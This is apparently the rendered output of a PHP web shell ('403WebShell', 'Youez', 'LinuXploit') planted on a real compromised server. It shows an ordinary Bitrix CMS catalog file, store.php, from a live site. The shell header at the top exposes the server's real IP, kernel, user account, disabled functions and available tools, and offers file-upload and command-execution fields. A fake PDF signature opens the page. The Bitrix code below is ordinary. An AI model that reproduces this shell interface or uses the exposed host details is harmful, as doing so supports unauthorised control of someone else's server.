%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.191.162.21
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/general/store.php
<?php
use Bitrix\Main,
	Bitrix\Catalog,
	Bitrix\Iblock;

IncludeModuleLangFile(__FILE__);

class CAllCatalogStore
{
	protected static function CheckFields($action, &$arFields)
	{
		if (array_key_exists("ADDRESS", $arFields) && (string)$arFields["ADDRESS"] == '')
		{
			$GLOBALS["APPLICATION"]->ThrowException(GetMessage("CS_EMPTY_ADDRESS"));
			$arFields["ADDRESS"] = ' ';
		}

		if ($action == 'ADD')
		{
			if (array_key_exists('IMAGE_ID', $arFields))
			{
				$arFields['IMAGE_ID'] = (int)$arFields['IMAGE_ID'];
				if ($arFields['IMAGE_ID'] <= 0)
				{
					$arFields['IMAGE_ID'] = false;
				}
			}
			if (array_key_exists('LOCATION_ID', $arFields))
			{
				$arFields['LOCATION_ID'] = (int)$arFields['LOCATION_ID'];
				if ($arFields['LOCATION_ID'] <= 0)
				{
					$arFields['IMAGE_ID'] = false;
				}
			}
		}

		if(($action == 'UPDATE') && is_set($arFields, "ID"))
			unset($arFields["ID"]);

		if ($action == 'UPDATE')
		{
			if (array_key_exists('IMAGE_ID', $arFields))
			{
				if ($arFields['IMAGE_ID'] === null || $arFields['IMAGE_ID'] === 'null' || $arFields['IMAGE_ID'] === false)
				{
					$arFields['IMAGE_ID'] = false;
				}
				elseif (is_string($arFields['IMAGE_ID']) || is_int($arFields['IMAGE_ID']))
				{
					$arFields['IMAGE_ID'] = (int)$arFields['IMAGE_ID'];
					if ($arFields['IMAGE_ID'] <= 0)
					{
						unset($arFields['IMAGE_ID']);
					}
				}
				else
				{
					unset($arFields['IMAGE_ID']);
				}
			}
		}

		if(isset($arFields["ISSUING_CENTER"]) && ($arFields["ISSUING_CENTER"]) !== 'Y')
		{
			$arFields["ISSUING_CENTER"] = 'N';
		}
		if(isset($arFields["SHIPPING_CENTER"]) && ($arFields["SHIPPING_CENTER"]) !== 'Y')
		{
			$arFields["SHIPPING_CENTER"] = 'N';
		}
		if(isset($arFields["SITE_ID"]) && ($arFields["SITE_ID"]) === '0')
		{
			$arFields["SITE_ID"] = '';
		}
		if (isset($arFields['CODE']) && $arFields['CODE'] === '')
			$arFields['CODE'] = false;

		return true;
	}

	public static function Update($id, $arFields)
	{
		global $DB;
		$id = (int)$id;
		if ($id <= 0)
			return false;

		foreach (GetModuleEvents("catalog", "OnBeforeCatalogStoreUpdate", true) as $arEvent)
		{
			if (ExecuteModuleEventEx($arEvent, array($id, &$arFields))===false)
				return false;
		}

		if(array_key_exists('DATE_CREATE',$arFields))
			unset($arFields['DATE_CREATE']);
		if(array_key_exists('DATE_MODIFY', $arFields))
			unset($arFields['DATE_MODIFY']);
		if(array_key_exists('DATE_STATUS', $arFields))
			unset($arFields['DATE_STATUS']);
		if(array_key_exists('CREATED_BY', $arFields))
			unset($arFields['CREATED_BY']);

		$arFields['~DATE_MODIFY'] = $DB->GetNowFunction();

		if (!self::CheckFields('UPDATE', $arFields))
			return false;

		$strUpdate = $DB->PrepareUpdate("b_catalog_store", $arFields);

		$bNeedConversion = false;
		if (!empty($strUpdate))
		{
			if (isset($arFields['ACTIVE']))
			{
				$row = Catalog\StoreTable::getList(array(
					'select' => array('ACTIVE'),
					'filter' => array('=ID' => $id)
				))->fetch();
				if (!empty($row))
					$bNeedConversion = ($row['ACTIVE'] != $arFields['ACTIVE']);
				unset($row);
			}

			$strSql = "update b_catalog_store set ".$strUpdate." where ID = ".$id;
			if(!$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__))
				return false;
			CCatalogStoreControlUtil::clearStoreName($id);

			Catalog\StoreTable::getEntity()->cleanCache();
		}

		if($bNeedConversion)
		{
			self::recalculateStoreBalances($id);
		}

		foreach(GetModuleEvents("catalog", "OnCatalogStoreUpdate", true) as $arEvent)
			ExecuteModuleEventEx($arEvent, array($id, $arFields));

		return $id;
	}

	public static function Delete($id)
	{
		global $DB, $USER_FIELD_MANAGER;
		$id = intval($id);
		if($id > 0)
		{
			foreach (GetModuleEvents("catalog", "OnBeforeCatalogStoreDelete", true) as $arEvent)
			{
				if(ExecuteModuleEventEx($arEvent, array($id))===false)
					return false;
			}

			$dbDocs = $DB->Query("select ID from b_catalog_docs_element where STORE_FROM = ".$id." or STORE_TO = ".$id, true);
			if($bStoreHaveDocs = $dbDocs->Fetch())
			{
				$GLOBALS["APPLICATION"]->ThrowException(GetMessage("CS_STORE_HAVE_DOCS"));
				return false;
			}

			$DB->Query("delete from b_catalog_store_product where STORE_ID = ".$id, true);
			$DB->Query("delete from b_catalog_store where ID = ".$id, true);

			$USER_FIELD_MANAGER->Delete(Catalog\StoreTable::getUfId(), $id);

			Catalog\StoreTable::getEntity()->cleanCache();

			foreach(GetModuleEvents("catalog", "OnCatalogStoreDelete", true) as $arEvent)
				ExecuteModuleEventEx($arEvent, array($id));

			self::recalculateStoreBalances($id);
			CCatalogStoreControlUtil::clearStoreName($id);
			return true;
		}
		return false;
	}

	/**
	 * Recalculate quantity for store.
	 *
	 * @param int $storeId		Store id.
	 * @return bool
	 * @throws Main\ArgumentException
	 * @throws Main\Db\SqlQueryException
	 */
	public static function recalculateStoreBalances($storeId)
	{
		$storeId = (int)$storeId;
		if ($storeId <= 0)
			return false;

		if (!Catalog\Config\State::isUsedInventoryManagement())
			return true;

		$iterator = Catalog\StoreTable::getList([
			'select' => ['ID'],
			'filter' => ['=ID' => $storeId]
		]);
		$row = $iterator->fetch();
		unset($iterator);
		if (empty($row))
			return false;
		unset($row);

		$errors = [];

		$connection = Main\Application::getConnection();

		Iblock\PropertyIndex\Manager::enableDeferredIndexing();
		Catalog\Product\Sku::enableDeferredCalculation();

		$iblockIds = [];

		$startId = 0;
		do
		{
			$found = false;
			$productIds = [];

			$iterator = Catalog\StoreProductTable::getList([
				'select' => ['ID', 'PRODUCT_ID'],
				'filter' => ['>ID' => $startId, '=STORE_ID' => $storeId, '!=AMOUNT' => 0],
				'order' => ['ID' => 'ASC'],
				'limit' => 200
			]);
			while ($row = $iterator->fetch())
			{
				$found = true;
				$startId = (int)$row['ID'];
				$productIds[] = (int)$row['PRODUCT_ID'];
			}
			unset($row, $iterator);
			if (!empty($productIds))
				Main\Type\Collection::normalizeArrayValuesByInt($productIds, true);

			if (!empty($productIds))
			{
				$products = [];
				$iterator = Catalog\Model\Product::getList([
					'select' => ['ID', 'QUANTITY_RESERVED', 'IBLOCK_ID' => 'IBLOCK_ELEMENT.IBLOCK_ID'],
					'filter' => ['@ID' => $productIds],
					'order' => ['ID' => 'ASC']
				]);
				while ($row = $iterator->fetch())
				{
					if ($row['IBLOCK_ID'] === null)
						continue;
					$rowId = (int)$row['ID'];
					$iblock = (int)$row['IBLOCK_ID'];
					$iblockIds[$iblock] = $iblock;
					$products[$rowId] = [
						'QUANTITY_RESERVED' => (float)$row['QUANTITY_RESERVED'],
						'IBLOCK_ID' => $iblock
					];
				}
				unset($row, $iterator);

				if (!empty($products))
				{
					$query = 'select SUM(CSP.AMOUNT) as PRODUCT_QUANTITY, CSP.PRODUCT_ID '.
						'from b_catalog_store_product CSP inner join b_catalog_store CS on CS.ID = CSP.STORE_ID '.
						'where CSP.PRODUCT_ID in ('.implode(',', array_keys($products)).') and CS.ACTIVE = "Y" '.
						'group by CSP.PRODUCT_ID';
					$iterator = $connection->query($query);
					while ($row = $iterator->fetch())
					{
						$rowId = (int)$row['PRODUCT_ID'];
						$data = [
							'fields' => [
								'QUANTITY' => (float)$row['PRODUCT_QUANTITY'] - $products[$rowId]['QUANTITY_RESERVED']
							],
							'external_fields' => [
								'IBLOCK_ID' => $products[$rowId]['IBLOCK_ID']
							]
						];
						$resultInternal = Catalog\Model\Product::update($rowId, $data);
						if (!$resultInternal->isSuccess())
							$errors[$rowId] = $resultInternal->getErrorMessages();

						unset($products[$rowId]);
					}
					unset($row, $iterator, $query);
				}

				if (!empty($products))
				{
					foreach ($products as $rowId => $rowData)
					{
						$data = [
							'fields' => [
								'QUANTITY' => -$products[$rowId]['QUANTITY_RESERVED']
							],
							'external_fields' => [
								'IBLOCK_ID' => $products[$rowId]['IBLOCK_ID']
							]
						];
						$resultInternal = Catalog\Model\Product::update($rowId, $data);
						if (!$resultInternal->isSuccess())
							$errors[$rowId] = $resultInternal->getErrorMessages();

						unset($products[$rowId]);
					}
					unset($rowId, $rowData);
				}
				unset($products);
			}
			unset($productIds);
		}
		while ($found);

		unset($connection);

		Catalog\Product\Sku::disableDeferredCalculation();
		Catalog\Product\Sku::calculate();

		Iblock\PropertyIndex\Manager::disableDeferredIndexing();
		if (!empty($iblockIds))
		{
			foreach ($iblockIds as $iblock)
				Iblock\PropertyIndex\Manager::runDeferredIndexing($iblock);
		}
		unset($iblockIds);

		Catalog\Model\Product::clearCache();

		return empty($errors);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit